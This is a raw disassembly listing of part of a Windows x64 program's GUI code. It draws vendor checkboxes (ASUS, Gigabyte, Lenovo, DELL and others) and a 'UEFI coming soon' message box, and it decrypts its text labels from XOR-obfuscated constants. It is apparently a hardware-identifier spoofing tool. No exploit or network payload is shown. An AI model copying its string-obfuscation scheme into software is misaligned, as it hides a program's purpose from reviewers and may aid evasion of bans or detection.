mov qword [rbp + 0x10], rax
movabs rax, 0xc738e00c903f340a
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x21a8], rcx
movabs rcx, 0x33a66fbccd7eb820
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21b0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21b8], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21c0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21c8], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21d0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1670]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21d8], rax
vmovdqu ymm0, ymmword [rbp + 0x21c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x21a0]
vmovdqa ymmword [rbp + 0x21a0], ymm1
vzeroupper
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4bc]
lea rcx, [rbp + 0x6b8]
movss xmm1, dword [0x14015d484]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [rbp + 0x21a0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
movss xmm2, dword [0x14015d4d0]
lea rcx, [rbp + 0x6c0]
movss xmm1, dword [0x14015d484]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
lea rdx, [0x1404de283]
lea rcx, str.ASUS
call fcn.140032ac0
lea rdx, [0x1404de287]
lea rcx, str.Gigabyte
call fcn.140032ac0
lea rdx, [0x1404de282]
lea rcx, [0x14015824c]
call fcn.140032ac0
lea rdx, [0x1404de280]
lea rcx, str.ASRock
call fcn.140032ac0
lea rdx, [0x1404de23b]
lea rcx, str.Biostar
call fcn.140032ac0
lea rdx, [0x1404de285]
lea rcx, str.Intel
call fcn.140032ac0
call fcn.140017370
movss xmm0, dword [0x14015d4d0]
lea rcx, [rbp + 0x6c8]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
lea rdx, [0x1404de239]
lea rcx, str.Acer
call fcn.140032ac0
lea rdx, [0x1404de284]
lea rcx, str.Lenovo
call fcn.140032ac0
lea rdx, [0x1404de23a]
lea rcx, [0x140158278]
call fcn.140032ac0
lea rdx, [0x1404de238]
lea rcx, str.DELL
call fcn.140032ac0
lea rdx, [0x1404de286]
lea rcx, str.Aorus
call fcn.140032ac0
call fcn.140017370
cmp dword [0x1404dddb8], 9
jne 0x14004e620
call fcn.140013250
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1680]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d56c]
lea rcx, [rbp + 0x6d0]
movss xmm1, dword [0x14015d474]
mov edi, eax
call fcn.140001d30
movaps xmm2, xmm14
lea rcx, [rbp + 0x6d8]
movaps xmm1, xmm14
mov rbx, rax
call fcn.140001d30
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140024340
movss xmm0, dword [0x14015d43c]
lea rcx, [rbp + 0x6e0]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
mov rcx, r14
call fcn.140012c70
movaps xmm2, xmm6
lea rcx, [rbp + 0x6e8]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 3
lea rdx, [0x1401581dc]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004d29c
mov dword [0x1404dddb8], 3
movaps xmm2, xmm6
lea rcx, [rbp + 0x6f0]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 4
lea rdx, [0x1401581e0]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004d2d5
mov dword [0x1404dddb8], 4
movaps xmm2, xmm6
lea rcx, [rbp + 0x6f8]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 5
lea rdx, [0x1401581e4]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004d30e
mov dword [0x1404dddb8], 5
movaps xmm2, xmm6
lea rcx, [rbp + 0x700]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 6
lea rdx, [0x1401581e8]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004d347
mov dword [0x1404dddb8], 6
movaps xmm2, xmm6
lea rcx, [rbp + 0x708]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 7
lea rdx, [0x1401581ec]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004d380
mov dword [0x1404dddb8], 7
call fcn.140012d10
call fcn.140017370
movss xmm6, dword [0x14015d48c]
lea rcx, [rbp + 0x710]
movss xmm2, dword [0x14015d430]
movaps xmm1, xmm6
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
movaps xmm2, xmm14
lea rcx, [rbp + 0x718]
movaps xmm1, xmm14
call fcn.140001d30
mov r8, rax
lea rdx, [rbp + 0x1690]
xor eax, eax
movabs r14, 0xcaed3bae5282b2c6
mov byte [rbp], al
movabs rbx, 0x61aa5c1777dc8d5d
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa30761aaee213
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1690], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1698], rcx
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16a0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1690]
cmp dword [0x1404dddb8], 4
mov qword [rbp + 0x16a8], rax
xorps xmm0, xmmword [rbp + 0x16a0]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x1690], xmm0
call fcn.1400369a0
test al, al
je 0x14004d46b
mov dword [0x1404dddb8], 4
movss xmm1, dword [0x14015d594]
movaps xmm0, xmm14
call fcn.140016e90
movss xmm1, dword [0x14015d594]
movaps xmm0, xmm14
call fcn.140016e90
movaps xmm2, xmm14
lea rcx, [rbp + 0x720]
movaps xmm1, xmm14
call fcn.140001d30
mov r8, rax
lea rdx, [rbp + 0x16b0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa5c173e9ac808
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x16b0], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x16b8], rcx
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16c0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x16b0]
cmp dword [0x1404dddb8], 8
mov qword [rbp + 0x16c8], rax
xorps xmm0, xmmword [rbp + 0x16c0]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x16b0], xmm0
call fcn.1400369a0
test al, al
je 0x14004d545
mov r9d, Ordinal_50
lea r8, str.Comming_Soon_
lea rdx, str.UEFI_Cooming_Soon_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movss xmm1, dword [0x14015d594]
movaps xmm0, xmm14
call fcn.140016e90
movss xmm1, dword [0x14015d594]
movaps xmm0, xmm14
call fcn.140016e90
movaps xmm2, xmm14
lea rcx, [rbp + 0x728]
movaps xmm1, xmm14
call fcn.140001d30
mov r8, rax
lea rdx, [rbp + 0x16d0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa5c177795cb18
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x16d0], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x16d8], rcx
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16e0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x16d0]
cmp dword [0x1404dddb8], 9
mov qword [rbp + 0x16e8], rax
xorps xmm0, xmmword [rbp + 0x16e0]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x16d0], xmm0
call fcn.1400369a0
test al, al
je 0x14004d60d
mov dword [0x1404dddb8], 9
call fcn.140013250
lea rdx, [0x1404de3c0]
mov rsi, rax
lea rcx, [rbp + 0x16f0]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x730]
movss xmm1, dword [rbp + 0x1a0]
mov edi, eax
addss xmm2, dword [0x14015d4bc]
addss xmm1, dword [0x14015d548]
call fcn.140001d30
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x738]
movss xmm1, dword [rbp + 0x1a0]
mov rbx, rax
addss xmm2, dword [0x14015d45c]
addss xmm1, dword [0x14015d484]
call fcn.140001d30
movss xmm0, dword [0x14015d3b8]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14015d3d4]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024260
movss xmm2, dword [0x14015d468]
lea rcx, [rbp + 0x740]
movss xmm1, dword [0x14015d494]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x41902f6203bdf90e
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1700], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1708], rcx
lea rcx, [rbp + 0x1720]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1710], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1700]
mov qword [rbp + 0x1718], rax
xorps xmm0, xmmword [rbp + 0x1710]
movdqa xmmword [rbp + 0x1700], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d468]
lea rcx, [rbp + 0x748]
movss xmm1, dword [0x14015d4a4]
mov ebx, eax
call fcn.140001d30
xor esi, esi
lea rcx, [rbp + 0x1700]
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
movss xmm2, dword [0x14015d414]
mov r9, rax
mov rdx, qword [0x1404ddd98]
mov rcx, rdi
call fcn.140024600
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x15c9396312b8e308
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae5282d6a3
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1730], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1738], rcx
lea rcx, [rbp + 0x1750]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1740], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1730]
mov qword [rbp + 0x1748], rax
xorps xmm0, xmmword [rbp + 0x1740]
movdqa xmmword [rbp + 0x1730], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d468]
lea rcx, [rbp + 0x750]
movss xmm1, dword [0x14015d4c8]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x1730]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
mov r14, qword [rbp + 0x168]
mov rcx, r14
call fcn.140012c70
movss xmm2, dword [0x14015d46c]
lea rcx, [rbp + 0x758]
movss xmm1, dword [0x14015d494]
call fcn.140001d30
lea rdx, [0x1404de3c0]
mov rdi, rax
lea rcx, [rbp + 0x1760]
call fcn.140030410
mov rcx, rax
call fcn.140030470
lea rdx, [0x1404de3c0]
mov ebx, eax
lea rcx, [rbp + 0x1770]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14015d448]
lea rcx, [0x14015821c]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.1400327e0
call fcn.140012d10
call fcn.140013250
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
mov edx, 0xff
movabs rax, 0x5da093703afec11
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov r9d, edx
mov rcx, qword [rbp + 0x10]
movabs rax, 0xcaed3b8e68e7c6a7
mov qword [rbp + 0x1780], rcx
mov r8d, edx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1788], rcx
lea rcx, [rbp + 0x17a0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1790], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1780]
mov qword [rbp + 0x1798], rax
xorps xmm0, xmmword [rbp + 0x1790]
movdqa xmmword [rbp + 0x1780], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d478]
lea rcx, [rbp + 0x760]
movss xmm1, dword [0x14015d4a4]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x1780]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x539a6e384feda26b
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae5282b2f2
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x17b0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x17b8], rcx
lea rcx, [rbp + 0x17d0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17c0], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x17b0]
mov qword [rbp + 0x17c8], rax
xorps xmm0, xmmword [rbp + 0x17c0]
movdqa xmmword [rbp + 0x17b0], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d478]
lea rcx, [rbp + 0x768]
movss xmm1, dword [0x14015d4e4]
mov ebx, eax
call fcn.140001d30
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x17b0]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
mov rcx, r14
call fcn.140012c70
movss xmm2, dword [0x14015d47c]
lea rcx, [rbp + 0x770]
movss xmm1, dword [0x14015d494]
call fcn.140001d30
lea rdx, [0x1404de3c0]
mov rdi, rax
lea rcx, [rbp + 0x17e0]
call fcn.140030410
mov rcx, rax
call fcn.140030470
lea rdx, [0x1404de3c0]
mov ebx, eax
lea rcx, [rbp + 0x17f0]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14015d448]
lea rcx, [0x14015821c]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.1400327e0
call fcn.140012d10
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x14f97c6412b1ec1a
mov qword [rbp + 0x10], rax
movabs rax, 0xf0895eda20edc2b6
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x21e0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xc75c926dff5d464f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x21e8], rcx
movabs rcx, 0x33a66fbccd7eb820
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21f0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21f8], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2200], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2208], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2210], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1800]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2218], rax
vmovdqu ymm0, ymmword [rbp + 0x2200]
vpxor ymm1, ymm0, ymmword [rbp + 0x21e0]
vmovdqa ymmword [rbp + 0x21e0], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d494]
lea rcx, [rbp + 0x778]
movss xmm1, dword [0x14015d4a4]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x21e0]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4c73d5057b0e11c
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae5282b2b5
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1810], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1818], rcx
lea rcx, [rbp + 0x1830]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1820], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1828], rax
movdqa xmm0, xmmword [rbp + 0x1820]
xorps xmm0, xmmword [rbp + 0x1810]
movdqa xmmword [rbp + 0x1810], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d494]
lea rcx, [rbp + 0x780]
movss xmm1, dword [0x14015d504]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x1810]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
mov rcx, r14
call fcn.140012c70
movss xmm2, dword [0x14015d498]
lea rcx, [rbp + 0x788]
movss xmm1, dword [0x14015d494]
call fcn.140001d30
lea rdx, [0x1404de3c0]
mov rdi, rax
lea rcx, [rbp + 0x1840]
call fcn.140030410
mov rcx, rax
call fcn.140030470
lea rdx, [0x1404de3c0]
mov ebx, eax
lea rcx, [rbp + 0x1850]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14015d448]
lea rcx, [0x14015821c]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.1400327e0
call fcn.140012d10
call fcn.140017370
call fcn.140013250
lea rdx, [0x1404de3c0]
mov rsi, rax
lea rcx, [rbp + 0x1860]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x790]
movss xmm1, dword [rbp + 0x1a0]
mov edi, eax
addss xmm2, dword [0x14015d548]
addss xmm1, dword [0x14015d548]
call fcn.140001d30
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x798]
movss xmm1, dword [rbp + 0x1a0]
mov rbx, rax
addss xmm2, dword [0x14015d4e0]
addss xmm1, dword [0x14015d484]
call fcn.140001d30
movss xmm0, dword [0x14015d3b8]
xor r14d, r14d
movss dword [rsp + 0x30], xmm0
mov r9d, edi
movss xmm0, dword [0x14015d3d4]
mov r8, rbx
mov dword [rsp + 0x28], r14d
mov rdx, rax
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024260
movss xmm2, dword [0x14015d4f0]
lea rcx, [rbp + 0x7a0]
movaps xmm1, xmm6
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
xor eax, eax
movabs rcx, 0x33a66fbccd7eb820
mov byte [rbp], al
movabs rdi, 0x61aa5c1777dc8d5d
mov byte [rbp], al
movabs rbx, 0xcaed3bae5282b2c6
mov byte [rbp], al
movabs rax, 0x41de2e7603afe80f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2220], rax
movabs rax, 0xb8884fc813a2f196
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2228], rax
movabs rax, 0xc75cf402902d154f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2230], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2238], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2240], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2248], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2250], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
lea rdx, [0x1404dcaf3]
mov qword [rbp + 0x2258], rax
lea rcx, [rbp + 0x2220]
vmovdqu ymm0, ymmword [rbp + 0x2240]
vpxor ymm1, ymm0, ymmword [rbp + 0x2220]
vmovdqa ymmword [rbp + 0x2220], ymm1
vzeroupper
call fcn.140032ac0
call fcn.140017370
movss xmm2, dword [0x14015d534]
lea rcx, [rbp + 0x7a8]
movaps xmm1, xmm6
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
movss xmm2, dword [0x14015d438]
lea rcx, [rbp + 0x7b0]
movss xmm1, dword [0x14015d4d0]
call fcn.140001d30
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x8c63d6203aee40b
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae5282d7bc
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1870], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1878], rcx
lea rcx, [rbp + 0x1870]
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1880], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1870]
mov qword [rbp + 0x1888], rax
xorps xmm0, xmmword [rbp + 0x1880]
movdqa xmmword [rbp + 0x1870], xmm0
call fcn.140031b00
test al, al
je 0x14004e18e
mov dword [0x1404dddb8], 0xf
call fcn.140013250
lea rdx, [0x1404de3c0]
mov rsi, rax
lea rcx, [rbp + 0x1890]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x7b8]
movss xmm1, dword [rbp + 0x1a0]
mov edi, eax
addss xmm2, dword [0x14015d4bc]
addss xmm1, dword [0x14015d568]
call fcn.140001d30
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x7c0]
movss xmm1, dword [rbp + 0x1a0]
mov rbx, rax
addss xmm2, dword [0x14015d45c]
addss xmm1, dword [0x14015d54c]
call fcn.140001d30
movss xmm0, dword [0x14015d3d4]
mov r9d, edi
movss xmm6, dword [0x14015d3b8]
mov r8, rbx
movss dword [rsp + 0x30], xmm6
mov rdx, rax
mov dword [rsp + 0x28], r14d
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024260
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
xor eax, eax
movabs rsi, 0xcaed3bae5282b2c6
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa5c1777dc8d19
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x18a0], rcx
mov qword [rbp + 0x10], rsi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x18a8], rcx
lea rcx, [rbp + 0x18c0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18b0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x18a0]
mov qword [rbp + 0x18b8], rax
xorps xmm0, xmmword [rbp + 0x18b0]
movdqa xmmword [rbp + 0x18a0], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d450]
lea rcx, [rbp + 0x7c8]
movss xmm1, dword [0x14015d54c]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddda8]
lea rcx, [rbp + 0x18a0]
mov qword [rsp + 0x40], r14
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
mov edx, 0xf0
movabs rax, 0x41d8397118b3fd0e
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov r9d, edx
mov rcx, qword [rbp + 0x10]
movabs rax, 0xcaed3bae21e5dd8a
mov qword [rbp + 0x18d0], rcx
mov r8d, edx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x18d8], rcx
lea rcx, [rbp + 0x18f0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18e0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x18d0]
mov qword [rbp + 0x18e8], rax
xorps xmm0, xmmword [rbp + 0x18e0]
movdqa xmmword [rbp + 0x18d0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d450]
lea rcx, [rbp + 0x7d0]
movss xmm1, dword [0x14015d554]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [rbp + 0x18d0]
mov qword [rsp + 0x40], r14
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
lea rdx, [0x1404de3c0]
mov rsi, rax
lea rcx, [rbp + 0x1900]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x7d8]
movss xmm1, dword [rbp + 0x1a0]
mov edi, eax
addss xmm2, dword [0x14015d548]
